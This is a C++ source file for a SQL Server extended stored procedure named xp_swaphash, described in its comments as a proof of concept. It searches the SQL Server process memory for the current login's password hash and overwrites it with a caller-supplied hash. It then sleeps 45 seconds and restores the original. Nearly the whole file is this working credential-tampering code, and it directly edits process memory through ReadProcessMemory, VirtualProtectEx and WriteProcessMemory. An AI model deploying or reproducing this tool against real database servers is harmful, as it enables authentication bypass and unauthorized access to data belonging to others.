// xp_swaphash.cpp
// ---------------
// Extended stored procedure for swapping in a known password hash for
// SQL authentication overwriting the existing password hash.

#include "xp_swaphash.h"

// Versioning export
__declspec(dllexport) ULONG __GetXpVersion()
{
   return ODS_VERSION;
}

// xp_swaphash extended stored procedure
__declspec(dllexport) SRVRETCODE xp_swaphash(SRV_PROC *srvproc)
{
	TCHAR*						tczHashString = NULL;
	DWORD						dwProcID = 0;
	HANDLE						hProcHandle = NULL;
	BYTE*						bpBuffer;
	DWORD						dwReturnLength = 0;
	MEMORY_BASIC_INFORMATION	mbi;
	DWORD						dwStartAddress = 0;
	DWORD						dwEndAddress = 0;
	DWORD						dwHashAddress = 0;
	DWORD						dwCounter = 0;
	DWORD						dwCounter2 = 0;
	DWORD						dwReturnVal = 0;
	DWORD						dwProtections = 0;
	DWORD						dwPreviousProtections = 0;
	BYTE*						pHash = NULL;
	DWORD						dwHashSize = 0;
	DWORD						dwPEBAddr = 0;
	DWORD						dwImageBaseAddress = 0;
	DWORD						dwOriginalBaseAddress = 0;
	bool						bSkipSleep = false;
	bool						bSkipWrite = false;
	PEB_LDR_DATA*				pPLD = NULL;
	LIST_ENTRY*					pLE = NULL;
	LDR_DATA_TABLE_ENTRY*		pLDTE = NULL;

	BYTE*						pNewHash = NULL;

	// Get the hash to be swapped in
	if(1 == srv_rpcparams(srvproc))
	{
		if(!GetParamInfo(srvproc,1,&tczHashString))
		{
			// Failed to get DLL parameters
			Sql_SendErr(srvproc,_T("Failed to get the hash string."));
			return(XP_ERROR);
		}
	}
	else
	{
		Sql_SendErr(srvproc,_T("This function requires 1 parameter."));
		return(XP_ERROR);
	}

	// Convert the hash string to binary values
	pNewHash = new BYTE[_tcslen(tczHashString) / 2];
	for(int xxx = 0; xxx < (_tcslen(tczHashString) / 2);xxx++)
	{
		 _stscanf(&tczHashString[xxx * 2],_T("%2hhx"),&pNewHash[xxx]);
	}

	__asm
	{
			mov eax, fs:[0x30];				// PEB
			mov dwPEBAddr, eax;				// Get the PEB Addr
			mov eax, [eax+0x0c];			// PEB->Ldr
			mov pPLD, eax;					// Get the PEB_LDR_DATA Addr
			mov ebx, [eax+0x14];			// PEB->Ldr.InMemoryOrderModuleList.Flink 
			mov eax, [ebx+0x10];			// PEB->Ldr.InMemoryOrderModuleList.Flink->DllBase
			mov dwImageBaseAddress, eax;	// Get the image base address
			mov eax, [ebx+0x20];			// PEB->Ldr.InMemoryOrderModuleList.Flink->SizeOfImage
	}

	// Store for later
	dwOriginalBaseAddress = dwImageBaseAddress;

	pLE = &pPLD->InMemoryOrderModuleList;
	while(NULL != pLE->Flink)
	{
		pLDTE = (LDR_DATA_TABLE_ENTRY*)pLE->Flink;
		if(wcscmp(L"sqlserv.exe",pLDTE->FullDllName.Buffer))
			break;
		pLE = &pLDTE->InMemoryOrderLinks;
	}

	if(NULL == pLDTE || NULL == pLE)
	{
		// Failed to find the image... wtf?
		Sql_SendErr(srvproc,_T("Unable to locate image base."));
		return(XP_ERROR);
	}

	// Get the current SQL hash
	srv_pfield(srvproc,SRV_LSECURE,(int*)&dwHashSize);
	if(0 < dwHashSize)
	{
		dwHashSize = 0;
		srv_pfieldex(srvproc,SRV_HASHPWD,(int*)&dwHashSize);
		if(0 < dwHashSize)
		{
			pHash = new BYTE[dwHashSize];
			memset(pHash,0,dwHashSize);
			memcpy(pHash,srv_pfieldex(srvproc,SRV_HASHPWD,(int*)&dwHashSize),dwHashSize);
		}
		else
		{
			Sql_SendErr(srvproc,_T("Unable to retrieve SQL hash."));
			return(XP_ERROR);
		}
	}
	else
	{
		Sql_SendErr(srvproc,_T("Currently using integrated auth."));
		return(XP_ERROR);
	}

	// If the sizes don't match, something is wrong (and if we go on, we could overflow)
	if(dwHashSize != (_tcslen(tczHashString) / 2 ))
	{
		Sql_SendErr(srvproc,_T("Hash sizes aren't equal."));
		return(XP_ERROR);
	}

	// XOR the two hashes together - this eliminates storing either hash in our
	// memory and prevents us from overwriting our hash as we roll through mem
	for(dwCounter = 0; dwCounter < dwHashSize; dwCounter++)
	{
		pNewHash[dwCounter] ^= pHash[dwCounter]; // pNewHash[dwCounter] == new XOR value
		pHash[dwCounter] ^= pNewHash[dwCounter]; // pHash == the new hash
	}

	// Get the handle of the current process (SQL)
	dwProcID = GetCurrentProcessId();
	hProcHandle = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION | PROCESS_VM_WRITE | PROCESS_VM_OPERATION,true,dwProcID);
	if(NULL == hProcHandle)
	{
		Sql_SendMsg(srvproc,_T("Failure to get proc handle"));
		return(XP_ERROR);
	}

memory_mangler:

	// Read memory
	VirtualQueryEx(hProcHandle,(LPCVOID)dwImageBaseAddress,&mbi,sizeof(MEMORY_BASIC_INFORMATION));
	do
	{
		if((MEM_COMMIT == mbi.State) && (PAGE_READWRITE == mbi.Protect) && (MEM_PRIVATE == mbi.Type))
		{
			dwStartAddress = (unsigned)mbi.BaseAddress;
			dwEndAddress = (unsigned)mbi.BaseAddress+mbi.RegionSize;
			bpBuffer = new BYTE[dwEndAddress - dwStartAddress];
			if(TRUE == ReadProcessMemory(hProcHandle, (const void *)dwStartAddress, bpBuffer, (dwEndAddress - dwStartAddress), &dwReturnLength))
			{
				for(dwCounter = 0; dwCounter < (dwReturnLength - dwHashSize); dwCounter++)
				{

					// Search through memory looking for the SQL hash - this is
					// NOT an efficient way, but it this is PoC
					bSkipWrite = false;
					for(dwCounter2 = 0; dwCounter2 < dwHashSize; dwCounter2++)
					{
						if((pNewHash[dwCounter2] ^ pHash[dwCounter2]) != bpBuffer[dwCounter + dwCounter2])
						{	
							bSkipWrite = true;
							break;
						}
					}
					if(bSkipWrite)
						continue;

					// Should only hit this if the hash was found
					dwProtections = PAGE_WRITECOPY;
					if(VirtualProtectEx(hProcHandle,(void*)dwStartAddress,(dwEndAddress - dwStartAddress),PAGE_READWRITE,&dwPreviousProtections))
					{
						// Swap out the hash
						Sql_SendMsg(srvproc,_T("Found the hash in memory."));
							
						dwHashAddress = dwStartAddress + dwCounter;
						if(0 == WriteProcessMemory(hProcHandle,(void*)dwHashAddress, pHash, dwHashSize,NULL))//pNewHash,dwHashSize,NULL))
							Sql_SendMsg(srvproc,_T("Failed to write process memory."));
							
						dwProtections = dwPreviousProtections;
						VirtualProtectEx(hProcHandle,(void*)dwStartAddress,(dwEndAddress - dwStartAddress),dwProtections,&dwPreviousProtections);
					}
					else
					{
						dwPreviousProtections = GetLastError();
					}
				}
			}
			delete [] bpBuffer;
		}
		dwImageBaseAddress += mbi.RegionSize;
	}
	while(VirtualQueryEx(hProcHandle,(LPCVOID)dwImageBaseAddress,&mbi,sizeof(MEMORY_BASIC_INFORMATION)));

	// Check to see if this is the last time through
	if(!bSkipSleep)
	{
		bSkipSleep = true;

		// Sleep for a bit
		Sql_SendMsg(srvproc,_T("Sleeping."));
		Sleep(45000);

		// Swap the hash values back
		for(dwCounter2 = 0; dwCounter2 < dwHashSize; dwCounter2++)
			pHash[dwCounter2] = pNewHash[dwCounter2] ^ pHash[dwCounter2];

		// Reset base address
		dwImageBaseAddress = dwOriginalBaseAddress;

		Sql_SendMsg(srvproc,_T("Fixing memory."));

		// Go back and fix what we broke in memory
		goto memory_mangler;
	}

	// Close the process handle
	CloseHandle(hProcHandle);

	return(XP_NOERROR);
}


// Send a SQL msg (non-error) - this always returns XP_NOERROR
// so that it can be called in-line with the xp_sekhmet return
// value call.
SRVRETCODE Sql_SendMsg(SRV_PROC *srvproc,TCHAR* tczMsg)
{
	int	iResult = 0;
	// Both the ASCII and UNICODE calls are assuming a NULL terminated string
#ifdef UNICODE
	iResult = srv_wsendmsg(srvproc,(DBTINYINT)0,(DBTINYINT)0,(wchar_t*)tczMsg,wcslen(tczMsg));
#else
	#ifndef SKHSUPPRESS_TXT
	iResult = srv_sendmsg(srvproc, SRV_MSG_INFO, 0,(DBTINYINT)0,(DBTINYINT)0,NULL,0,0,(char*)tczMsg,strlen((char*)tczMsg));
	#endif
#endif
	
	return(iResult);
}

// Send a SQL msg (error) - this always returns XP_ERROR
// so that it can be called in-line with the xp_sekhmet return
// value call.
SRVRETCODE Sql_SendErr(SRV_PROC *srvproc,TCHAR* tczErr)
{
	int	iResult = 0;
	// Both the ASCII and UNICODE calls are assuming a NULL terminated string
#ifdef UNICODE
	iResult = srv_wsendmsg(srvproc,0,SRV_MSG_ERROR,(wchar_t*)tczErr,wcslen((wchar_t*)tczErr));
#else
	iResult = srv_sendmsg(srvproc, SRV_MSG_ERROR, 0,(DBTINYINT)0,(DBTINYINT)0,NULL,0,0,(char*)tczErr,strlen((char*)tczErr));
#endif

	return(iResult);
}

// Gets parameter information using srv_paraminfo function
bool GetParamInfo(SRV_PROC *srvproc, int iParam, TCHAR** tcBuffer)
{
	BYTE*	pbData			= NULL;
	BYTE	pbType			= 0;
	ULONG	pcbMaxLen		= 0;
	ULONG	pcbActualLen	= 0;
	BOOL	pfNull			= false;

	if(SUCCEED != srv_paraminfo(srvproc,iParam,&pbType,&pcbMaxLen,&pcbActualLen,NULL,&pfNull))
		return(false);

	// Allocate space for the parameter
	pbData = (BYTE*)malloc(pcbActualLen + 2);
	memset(pbData,0,(pcbActualLen + 2));
	pcbMaxLen = pcbActualLen + 2;

	// Copy the parameter
	if(SUCCEED != srv_paraminfo(srvproc,iParam,&pbType,&pcbMaxLen,&pcbActualLen,pbData,&pfNull))
		return(false);

	if(!NormalizeSqlData(pbData,tcBuffer,pcbActualLen,pbType))
		return(false);

	free(pbData);

	return(true);
}

// Determines the data returned from SQL and puts it in the current working TCHAR format
bool NormalizeSqlData(void* pbData, TCHAR** tczClientRequest, ULONG pcbActualLen, BYTE pbType)
{
	DWORD	dwReturnVal;

	// Determine the data type provided
	switch(pbType)
	{
	// ASCII types
	case SRVBIGCHAR:
	case SRVBIGVARCHAR:
	case SRVCHAR:
	case SRVTEXT:
	case SRVVARCHAR:
		*tczClientRequest = (TCHAR*)malloc((sizeof(TCHAR) * (strlen((char*)pbData) + 1)));
		memset(*tczClientRequest,0,(sizeof(TCHAR) * (strlen((char*)pbData) + 1)));
		if(2 == sizeof(TCHAR))
		{
			// UNICODE to ASCII
			mbstowcs_s((size_t*)&dwReturnVal,(wchar_t*)*tczClientRequest,strlen((char*)pbData) + 1,(char*)pbData,strlen((char*)pbData));
		}
		else
		{
			// ASCII to ASCII
			strcpy_s((char*)*tczClientRequest,strlen((char*)pbData) + 1,(char*)pbData);
		}
		break;
	// UNICODE types
	case SRVNCHAR:
	case SRVNTEXT:
	case SRVNVARCHAR:
		*tczClientRequest = (TCHAR*)malloc((sizeof(TCHAR) * (wcslen((wchar_t*)pbData) + 1)));
		memset(*tczClientRequest,0,(sizeof(TCHAR) * (wcslen((wchar_t*)pbData) + 1)));
		if(2 == sizeof(TCHAR))
		{
			// UNICODE to UNICODE
			wcscpy_s((wchar_t*)*tczClientRequest,wcslen((wchar_t*)pbData) + 1,(wchar_t*)pbData);
		}
		else
		{
			// UNICODE to ASCII
			wcstombs_s((size_t*)&dwReturnVal,(char*)*tczClientRequest,wcslen((wchar_t*)pbData) + 1,(wchar_t*)pbData,wcslen((wchar_t*)pbData));
		}
		break;
	// Non-textual types
	default:
		return(false);
		break;
	}
	return(true);
}
